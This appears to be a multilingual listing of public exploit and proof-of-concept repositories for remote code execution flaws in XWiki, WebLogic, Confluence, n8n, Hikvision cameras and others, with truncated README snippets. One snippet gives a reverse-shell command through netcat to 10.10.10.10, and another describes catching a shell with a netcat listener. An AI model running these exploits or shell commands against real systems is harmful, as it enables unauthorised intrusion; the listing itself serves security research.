TerraMaster-TOS-CVE-2020-15568

TerraMaster TOS CVE-2020-15568 Dépôt pour le module Metasploit CVE-2020-15568 Application vulnérable Description Une vulnérabilité d'invocation dynamique de méthode de classe existe dans le fichier include/exportUser.php, ce qui conduit à l'exécution de commandes à distance sur les appareils...

CVE-2025-24893

CVE-2025-24893 Exploit d'exécution de code à distance pour XWiki pour les versions antérieures à 15.10.11, 16.4.1 et 16.5.0RC1. Utilisation $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Utilisez-le uniquement à des fins éthiques :...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP,...

CVE-2017-10271

CVE-2017-10271 identification and exploitation. Unauthenticated Weblogic RCE. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226 content-type...

CVE-2026-21858-and-CVE-2025-68613

Ni8mare: Pre-Auth RCE в n8n CVE-2026-21858 и CVE-2025-68613 — Лаборатория уязвимостей и отчёт PoC Практическая среда Vulnerable Lab и подробный отчёт об анализе эксплуатации цепочки уязвимостей Ni8mare на платформе n8n — от произвольного чтения файлов CVE-2026-21858 до удалённого выполнения кода...

CVE-2019-11932

CVE-2019-11932 double-free ошибка в эксплойте WhatsApp poc. Примечание: убедитесь, что установили IP слушателя в exploit.c, чтобы получить shell nc -lvp 5555 или любой другой порт. затем скомпилируйте. gcc -o exploit egiflib.c exploit.c затем запустите ./exploit и сохраните содержимое в .gif и...

RCE

CVE-2022-31814 Уязвимость веб-приложения import argparse import requests import time import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disablewarningsInsecureRequestWarning parser =...

rapidscan

🟥 RapidScan v1.2 - The Multi-Tool Web Vulnerability Scanner RapidScan has been ported to Python3 i.e. v1.2. The Python2.7 codebase is available on v1.1 releases section. Download and use it if you still haven't upgraded to Python 3. Kindly note that the v1.1 Python2.7 will not be enhanced further...

CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE

CVE-2025-32433 - Erlang/OTP SSH RCE PoC Aperçu PoC montrant l'exécution de code à distance non authentifiée dans le serveur SSH Erlang/OTP. En exploitant une faille dans le traitement des messages du protocole SSH, un attaquant peut exécuter des commandes arbitraires sur la cible sans information...

CVE-2024-7954

CVE-2024-7954 This exploit will attempt to execute system commands on SPIP targets CVE-2024-7954. Overview This is a bulk scanning and exploitation tool for CVE-2024-7954: SPIP 4.2.8 allows unauthenticated attackers to launch RCE on SPIP targets. This tool is based on this Security Research. How ...

Weblogic_Wsat_RCE

WeblogicWsatRCE POC pour CVE-2017-10271. Étant donné que java.lang.ProcessBuilder était le vecteur original de RCE, il existe plusieurs règles de signature qui bloquent cette charge utile particulière. Ajout de java.lang.Runtime et d'autres seront ajoutés à l'avenir. Ceci est à des fins éducative...

CVE-2022-26134

CVE-2022-26134 Confluence Server et Data Center - CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique Résumé| CVE-2022-26134 - Vulnérabilité d'exécution de code à distance non authentifiée de gravité critique dans Confluence Server et Data Center...

cve-2025-0364

CVE-2025-0364: BigAntSoft BigAnt Server — обход регистрации учётной записи с RCE через загрузку файлов BigAntSoft BigAnt Server, предоставляющий развертываемый локально on-premises чат-сервер на Windows, ориентированный на корпоративное использование, подвержен удалённому выполнению кода без...

CVE-2021-44077

CVE-2021-44077 Preuve de concept d'exploitation pour CVE-2021-44077 : RCE PreAuth dans ManageEngine ServiceDesk Plus msiexec.exe Installez le fichier requirements avec pip install ou assurez-vous de disposer du package requests. Si vous essayez de récupérer un reverse shell, lancez d'abord votre...

CVE-2023-0297

pyloadCVE-2023-0297poc A code injection vulnerability in pyLoad versions prior to 0.5.0b3.dev31 leads to pre-auth RCE by abusing js2py's functionality. use Usage of CVE-2023-0297poc.exe: -f string fileName:IP.txt -u string example:http://127.0.0.1:8080...

POC-CVE-2026-7873

Описание PoC-эксплойт для CVE-2026-7873 Использование python3 poc.py -u -name -pwd -c...

HikvisionExploiter

HikvisionExploiter HikvisionExploiter est une boîte à outils d'exploitation automatisée et puissante ciblant les endpoints non authentifiés des caméras IP Hikvision , en particulier celles exécutant la version de firmware 3.1.3.150324. Elle permet : Vérification de l'accès aux snapshots...

Metasploitable2-VAPT-Report

VAPT Report: Compromission du système Metasploitable 2 Aperçu du projet Ce dépôt contient un rapport complet d'évaluation des vulnérabilités et de test d'intrusion VAPT pour l'environnement vulnérable Metasploitable 2. L'évaluation suit la méthodologie standard de piratage éthique en 5 phases,...

CVE-2025-7384

CVE-2025-7384 — PHP Object Injection до RCE Плагин: Database for Contact Form 7 contact-form-entries ≤ 1.4.3 CVSS: 9.8 Critical CWE: CWE-502 — Десериализация недоверенных данных Требование аутентификации: Отсутствует без аутентификации Воздействие: Удалённое выполнение кода Оглавление 1. Обзор...

CVE-2024-22120-RCE

CVE-2024-22120 Boîte à outils Versions affectées 6.0.0 - 6.0.27 6.4.0 - 6.4.12 7.0.0alpha1 Crédit https://x.com/mf0cuz https://support.zabbix.com/browse/ZBX-24505 https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html Prérequis un utilisateur à faibles privilèges...